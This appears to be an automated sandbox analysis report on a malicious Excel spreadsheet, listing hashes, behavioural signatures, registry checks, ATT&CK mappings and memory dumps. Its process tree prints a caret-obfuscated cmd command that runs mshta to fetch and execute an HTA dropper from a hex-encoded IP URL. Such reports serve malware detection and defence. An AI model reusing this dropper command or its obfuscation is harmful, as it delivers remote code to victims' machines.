0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c

General

Target

0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls
Size

142KB
MD5

4a6e6eb651b36033ebe4633272c55809
SHA1

b4d909eb36dfd09c9c885ea6b146c6a45fb85bfc
SHA256

0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c
SHA512

fef1420a255b15085b3eb26273f426dba6b557d2d30db435bc17a6ae8ef37f4b13b71b6191aa6fec6161611b0ae5cae96f393e2ad24bda5935c8a834b42d01cb

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1360	3692	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	1172	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3692	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE
3692	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 3968	3692	EXCEL.EXE	70
PID 3692 wrote to memory of 3968	3692	EXCEL.EXE	70
PID 3692 wrote to memory of 1360	3692	EXCEL.EXE	72
PID 3692 wrote to memory of 1360	3692	EXCEL.EXE	72
PID 1360 wrote to memory of 1172	1360	cmd.exe	74
PID 1360 wrote to memory of 1172	1360	cmd.exe	74

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3968
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:1172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3692-115-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-116-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-117-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-118-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-127-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/3692-128-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-129-0x00007FFB3FD60000-0x00007FFB3FD70000-memory.dmp

Filesize
64KB

Download
memory/3692-453-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-454-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-455-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download
memory/3692-456-0x00007FFB428B0000-0x00007FFB428C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads